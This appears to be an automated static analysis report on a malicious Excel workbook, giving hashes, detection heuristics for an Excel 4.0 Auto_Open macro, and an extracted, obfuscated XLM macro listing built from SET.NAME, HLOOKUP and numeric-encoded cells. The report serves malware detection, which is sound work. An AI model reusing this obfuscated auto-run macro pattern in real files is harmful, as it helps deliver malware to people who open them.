Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e5f07c5171a3cb8a…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:38:57 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 39b04c858e1eef1d71f8c3f1c5c1df3e SHA-1: f4d1e1713a1d58ffca7488411c084ff37699036a SHA-256: e5f07c5171a3cb8abebbce125b6faec524137bf93de5668b29117443047bf839
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6640 bytes
SHA-256: 36af962aba1dd097c44a6bb1010674b5d6299e3a2b0eb3c4355d6405b7b58ba3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Mvp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B141 
' 0018     27 LABEL : Cell Value, String Constant - bicmBOzDiTmf len=0 
' 0018     23 LABEL : Cell Value, String Constant - GlZCPsZL len=0 
' 0018     20 LABEL : Cell Value, String Constant - Gwhut len=0 
' 0018     25 LABEL : Cell Value, String Constant - ilDSISRHOC len=0 
' 0018     21 LABEL : Cell Value, String Constant - IncSOL len=0 
' 0018     24 LABEL : Cell Value, String Constant - iPvEhZGrH len=0 
' 0018     20 LABEL : Cell Value, String Constant - jVTLK len=0 
' 0018     27 LABEL : Cell Value, String Constant - OGBZjKzBYcnS len=0 
' 0018     23 LABEL : Cell Value, String Constant - oHsgzBhR len=0 
' 0018     26 LABEL : Cell Value, String Constant - PeTwwJkCVuU len=0 
' 0018     25 LABEL : Cell Value, String Constant - PmXTCevSKk len=0 
' 0018     21 LABEL : Cell Value, String Constant - QrJlyj len=0 
' 0018     23 LABEL : Cell Value, String Constant - sDSdwlZA len=0 
' 0018     23 LABEL : Cell Value, String Constant - sJvfYuVv len=0 
' 0018     26 LABEL : Cell Value, String Constant - VBLUEVrFqeJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - vSvfXFz len=0 
' 0018     21 LABEL : Cell Value, String Constant - VvEtqH len=0 
' 0018     24 LABEL : Cell Value, String Constant - WrxxzIgDJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - XQUWFnEc len=0 
' 0018     22 LABEL : Cell Value, String Constant - YXGBwPK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Mvp,B53,"SET.NAME("YXGBwPK",0+VALUE("0"))",""
'  Mvp,B58,"SET.NAME("QrJlyj",YXGBwPK)",""
'  Mvp,B60,"SET.NAME("GlZCPsZL",YXGBwPK)",""
'  Mvp,P63,"",-464.00000000000000000000
'  Mvp,P64,"",-221.00000000000000000000
'  Mvp,B65,"SET.NAME("XQUWFnEc",COUNTA(OGBZjKzBYcnS))",""
'  Mvp,P65,"",921.00000000000000000000
'  Mvp,P66,"",390.00000000000000000000
'  Mvp,P67,"",95.00000000000000000000
'  Mvp,P68,"",-53.00000000000000000000
'  Mvp,B69,"SET.NAME("IncSOL",COUNTA(jVTLK))",""
'  Mvp,B71,[],""
'  Mvp,B74,"SET.NAME("vSvfXFz","")",""
'  Mvp,B77,"QrJlyj",""
'  Mvp,B80,"SET.NAME("iPvEhZGrH",HLOOKUP("*",OGBZjKzBYcnS,QrJlyj,FALSE))",""
'  Mvp,B83,"PeTwwJkCVuU",""
'  Mvp,B87,"SET.NAME("VvEtqH",YXGBwPK)",""
'  Mvp,B90,[],""
'  Mvp,B92,"VvEtqH",""
'  Mvp,B94,"PmXTCevSKk",""
'  Mvp,B98,"ilDSISRHOC",""
'  Mvp,B103,"sJvfYuVv",""
'  Mvp,B107,"SET.NAME("oHsgzBhR",VALUE(HLOOKUP("*",jVTLK,sJvfYuVv,FALSE)))",""
'  Mvp,B111,"VBLUEVrFqeJ",""
'  Mvp,B114,"vSvfXFz",""
'  Mvp,B116,"GlZCPsZL",""
'  Mvp,B121,NEXT(),""
'  Mvp,B123,"Gwhut",""
'  Mvp,B127,[],""
'  Mvp,B131,"WrxxzIgDJ",""
'  Mvp,B135,NEXT(),""
'  Mvp,B137,RETURN(),""
'  Mvp,B166,"SET.NAME("bicmBOzDiTmf",B53)",""
'  Mvp,B168,"OGBZjKzBYcnS",""
'  Mvp,B173,"SET.NAME("jVTLK",R82C11)",""
'  Mvp,B176,"SET.NAME("WrxxzIgDJ",182)",""
'  Mvp,B179,"SET.NAME("sDSdwlZA",2)",""
'  Mvp,B181,bicmBOzDiTmf(),""
'  Mvp,B182,HALT(),""

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